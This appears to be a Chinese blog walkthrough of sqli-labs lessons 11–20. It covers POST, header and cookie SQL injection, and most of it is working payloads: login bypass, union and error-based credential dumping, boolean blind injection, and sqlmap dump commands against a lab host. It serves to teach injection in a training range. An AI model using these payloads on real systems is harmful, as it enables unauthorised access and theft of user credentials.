WEB常见漏洞之SQL注入(靶场篇—1)3

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
简介: WEB常见漏洞之SQL注入(靶场篇—1)

Lesson-11

该题为单引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,在登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;
# 返回内容
if true:
   输出查询信息
else:
   print_r(mysql_error());

注意:本题与Lesson1利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd

涉及登录的注入难免会让人想到万能密码漏洞,以上可知 SQL 查询语句如下:

select username, password from users where username='$uname' and password='$passwd' limit 0,1;

那么我们只需要将$uname$passwd修改为1'#即可完成登录绕过,造成经典的万能密码漏洞

select username, password from users where username='1'#' and password='' limit 0,1;

类似的 payload 如下:

#注释 passwd
uname=admin'--+&passwd=1
uname=admin'#&passwd=1
#注释语句 + 添加真条件
uname=admin&passwd=1' or 1--+
uname=admin&passwd=1'||1--+
uname=admin&passwd=1' or 1#
uname=admin&passwd=1'||1#
#闭合语句 + 添加真条件
uname=admin&passwd=1'or'1'='1
uname=admin&passwd=1'||'1'='1

使用联合查询判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录

判断字段数

uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回正常界面

uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回错误界面

由此可说明字段数为2,通过 union select 查看回显位置

uname=admin&passwd=-1'%20union%20select%201,2#&submit=Submit

查询基础信息

uname=admin&passwd=-1'%20union%20select%20user(),database()#&submit=Submit
uname=admin&passwd=-1'%20union%20select%20version(),2#&submit=Submit

查询表名

uname=admin&passwd=-1'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit

查询列名

uname=admin&passwd=-1'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit

查询关键信息

uname=admin&passwd=-1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit

640.png

Lesson-12

该题为单括号双引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

640.png

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username=("$uname") and password=("$passwd") limit 0,1;
# 返回内容
if true:
   输出查询信息
else:
   print_r(mysql_error());

注意:本题与Lesson11利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd

使用联合查询判断注入点,尝试验证

uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录

判断字段数

uname=admin&passwd=1")%20order%20by%202#&submit=Submit //返回正常界面

640.png

uname=admin&passwd=1")%20order%20by%203#&submit=Submit //返回错误界面

640.png

由此可说明字段数为2,通过 union select 查看回显位置

uname=admin&passwd=-1")%20union%20select%201,2#&submit=Submit

640.png

查询基础信息

uname=admin&passwd=-1")%20union%20select%20user(),database()#&submit=Submit
uname=admin&passwd=-1")%20union%20select%20version(),2#&submit=Submit

查询表名

uname=admin&passwd=-1")%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit

查询列名

uname=admin&passwd=-1")%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit

640.png

查询关键信息

uname=admin&passwd=-1")%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit

Lesson-13

该题为单括号单引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1;
# 返回内容
if true:
   无输出信息
else:
   print_r(mysql_error());

注意:本题与Lesson5利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登录

640.png

查询基础信息

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

查询列名

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit

Lesson-14

该题为双引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

640.png

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$uname = '"'.$uname.'"'
$passwd = '"'.$passwd.'"'
$sql = select username, password from users where username=$uname and password=$passwd limit 0,1;
# 返回内容
if true:
   无输出信息
else:
   print_r(mysql_error());

注意:本题与Lesson13利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1"%20or%20"1"="1#&submit=Submit //成功登录

查询基础信息

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

640.png

查询列名

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit

640.png


查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit

Lesson-15

该题为单引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;
# 返回内容
if true:
   无输出信息
else:
   无报错信息,但返回图片不同

注意:本题与Lesson7利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd

使用布尔盲注判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录

查询长度

uname=admin&passwd=1'%20or%20length(user())>1#&submit=Submit //返回成功界面
uname=admin&passwd=1'%20or%20length(user())>20#&submit=Submit //返回失败界面


确认长度为14位

uname=admin&passwd=1'%20or%20length(user())=14#&submit=Submit

查询字符

uname=admin&passwd=1'%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面

640.png


uname=admin&passwd=1'%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面

确定用户名为root@localhost

uname=admin&passwd=1'%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit

以此类推即可查询数据库名、表名、列名等

uname=admin&passwd=1'%20or%20substr(database(),1,14)='security'#&submit=Submit

由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点

POST /sqli/Less-15/ HTTP/1.1
Host: 172.16.117.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://172.16.117.135
Connection: close
Referer: http://172.16.117.135/sqli/Less-15/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=1&submit=Submit

使用 sqlmap 调取数据包文本进行扫描

sqlmap -r less15.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump

当然也可以直接设置参数进行扫描

sqlmap.py -u "http://172.16.117.135/sqli/Less-15/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump

扫描结果如下:

Lesson-16

该题为单括号双引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量

640.png

目标SQL语句如下:

$uname = $POST['uname'];
$passwd = $POST['passswd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
# 返回内容
if true:
   无输出信息
else:
   无报错信息,但返回图片不同


注意:本题与Lesson15利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd

使用布尔盲注判断注入点,尝试验证

uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录

640.png

查询长度


uname=admin&passwd=1")%20or%20length(user())>1#&submit=Submit //返回成功界面
uname=admin&passwd=1")%20or%20length(user())>20#&submit=Submit //返回失败界面

640.png

640.png


确认长度为14位

uname=admin&passwd=1")%20or%20length(user())=14#&submit=Submit

查询字符

uname=admin&passwd=1")%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面

uname=admin&passwd=1")%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面

640.png


确定用户名为root@localhost

uname=admin&passwd=1")%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit

以此类推即可查询数据库名、表名、列名等

uname=admin&passwd=1")%20or%20substr(database(),1,14)='security'#&submit=Submit

由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点

POST /sqli/Less-16/ HTTP/1.1
Host: 172.16.117.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://172.16.117.135
Connection: close
Referer: http://172.16.117.135/sqli/Less-16/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=1&submit=Submit

使用 sqlmap 调取数据包文本进行扫描

sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3

当然也可以直接设置参数进行扫描

sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3

扫描结果如下:

Lesson-17

该题为单引号 post型注入,利用方式包括报错注入、布尔盲注、时间盲注,密码重置界面以 post 方式接收变量

目标SQL语句如下:

$uname = check_input($POST['uname']);
$passwd = $POST['passswd'];
$sql="SELECT username, password FROM users WHERE username=$uname LIMIT 0,1";
# 返回内容
if true:
   $update="UPDTATE users SET password = '$passwd' WHERE username='$row'";
if 报错:
   print_r(mysql_error());

注意:本题由于过滤了$uname参数,唯一的注入点在update语句当中且只使用了单引号拼接。操作正确无提示,因此只能使用报错注入、布尔盲注、时间盲注

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功修改

查询基础信息

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

查询列名

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

但这时候出现报错,这是因为updatexml是更新,不能更新后再进行查询,可使用派生表的方式进行查询解决这一问题的产生。

注意:该问题只出现于MySQL,MSSQL以及Oracle都不会出现这种问题。

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20*%20from%20(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1)%20a)),1)#&submit=Submit

640.png

也可以直接使用 floor 进行报错注入(语句太长,一般记不住)

uname=admin&passwd=1'%20and%20(select%201%20from%20(select%20count(*),concat_ws(0x7e,(select%20concat_ws(0x7e,id,username,password)%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)%20b)%20where%20username='admin'#&submit=Submit

640.png

Lesson-18

该题为uagent post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址

目标SQL语句如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR']
$uname = check_input($POST['uname']);
$passwd = check_input($POST['passswd']);
$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
# 返回内容
if SQL语句有返回结果:
   $insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";
   输出 $uagent;
   print_r(mysql_error());
if 报错:
   print_r(mysql_error());

注意:本题由于过滤了$uname、$passwd参数,唯一的注入点在insert语句当中。我们需要输入正确的账号密码才会用到 insert 语句,因此只能使用报错注入、布尔盲注、时间盲注

在 PHP 中可用来获取客户端 IP 变量如下:

  • $_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
  • $_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
  • $_SERVER['REMOTE_ADDR']:客户端不能伪造

由于$_SERVER['REMOTE_ADDR']是无法被客户端伪造的,当账号密码成功输入会返回 User-Agent 信息,因此只能通过修改 User-Agent 进行注入

640.png


使用报错注入查询基础信息

User-Agent: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1

查询表名

User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1

查询列名

User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1

User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1

Lesson-19

该题为referer post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址


640.png


目标SQL语句如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR']
$uname = check_input($POST['uname']);
$passwd = check_input($POST['passswd']);
$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
# 返回内容
if SQL语句有返回结果:
   $insert ="INSERT INTO `security`.`referers` (`referer`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";
   输出 $SERVER['HTTP_REFERER'];
   print_r(mysql_error());
if 报错:
   print_r(mysql_error());

注意:本题与Lesson18的利用方式相同,只不过注入点由User-Agent换成了Referer当中

在 PHP 中可用来获取客户端 IP 变量如下:

  • $_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
  • $_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
  • $_SERVER['REMOTE_ADDR']:客户端不能伪造

由于$_SERVER['REMOTE_ADDR']是无法被客户端伪造的,当账号密码成功输入会返回 Referer 信息,因此只能通过修改 Referer 进行注入

使用报错注入查询基础信息

Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1

查询表名

Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1

查询列名

Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1

Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1

Lesson-20

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

if cookie 不存在 $uname:
   if 提交 $uname 和 $passwd
       $uname = $POST['uname'];
       $passwd = $POST['passswd'];
       $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
       $cookee = $row1['username'];
       # 返回内容
       if 返回SQL查询结果:
           setcookie('uname', $cookee, timne()-3600)
       else:
           print_r(mysql_error());
else:
   if POST 数据中没有 $submit:
       $cookee = $_COOKIE['uname'];
       $sql = "select * from users WHERE usernmae='$cookee' LIMIT 0,1";
       if 无查询结果:
           print_r(mysql_error());
       else:
           输出查询信息
   else:
       setcookie('uname', $row1['username'], time-3600);

注意:本题源码相对之前的较为复杂,注入点存在于cookie当中,它会从cookie中读取$uname并拼接至SQL语句当中从到造成注入,与此同时还输出了查询信息。因此可以联合查询、报错注入、布尔盲注、时间盲注

登录成功后界面如下:

使用联合查询判断字段数

Cookie: uname=admin' order by 3# //返回正常界面

Cookie: uname=admin' order by 4# //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

Cookie: uname=-admin' union select 1,2,3#


640.png


查询基础信息

Cookie: uname=-admin' union select 1,2,user()#
Cookie: uname=-admin' union select 1,2,version()#
Cookie: uname=-admin' union select 1,2,database()#

查询表名

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

查询列名

Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

查询关键信息

Cookie: uname=-admin' union select 1,group_concat(username),group_concat(password) from users#

0x04 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了靶场环境搭建以及1-20关基础注入的通过教程,后续将持续推出21-65关通关教程。

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
5月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
910 79
web渗透-文件包含漏洞
|
5月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
1171 1
Web渗透-文件上传漏洞-上篇
|
5月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
382 1
|
5月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
1759 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
5月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
307 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
5月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
559 0
web渗透-CSRF漏洞
|
5月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
1257 0
|
5月前
|
安全 数据安全/隐私保护
Web渗透-逻辑漏洞
逻辑漏洞主要因程序逻辑不严谨或复杂导致处理错误,常见于越权访问、密码修改、支付等环节。漏洞统计显示,越权操作和逻辑漏洞占比最高,尤其账号安全风险突出,如任意重置密码、验证码暴力破解等。漏洞分类中,越权访问分为水平越权(同权限用户间数据访问)和垂直越权(跨权限数据访问)。
238 0
Web渗透-逻辑漏洞
|
5月前
|
存储 安全 Java
web渗透-反序列化漏洞
序列化是将对象转为可传输字符串的技术,便于存储与传输。PHP通过serialize/unserialize实现,Java通过Serializable接口和ObjectOutputStream完成。文中还介绍了反序列化漏洞在安全测试中的利用方法及CTF实战案例。
116 0
web渗透-反序列化漏洞
|
SQL 存储 XML
常见Web漏洞分析与防范研究
在以上内容中,结合OWASP、Toptal和Brightsec等权威来源的信息,确保回答的专业性和准确性。通过图表和思维导图的方式,可以更系统地了解和记忆Web安全知识,帮助企业在实际应用中更好地防范各种安全威胁。
620 13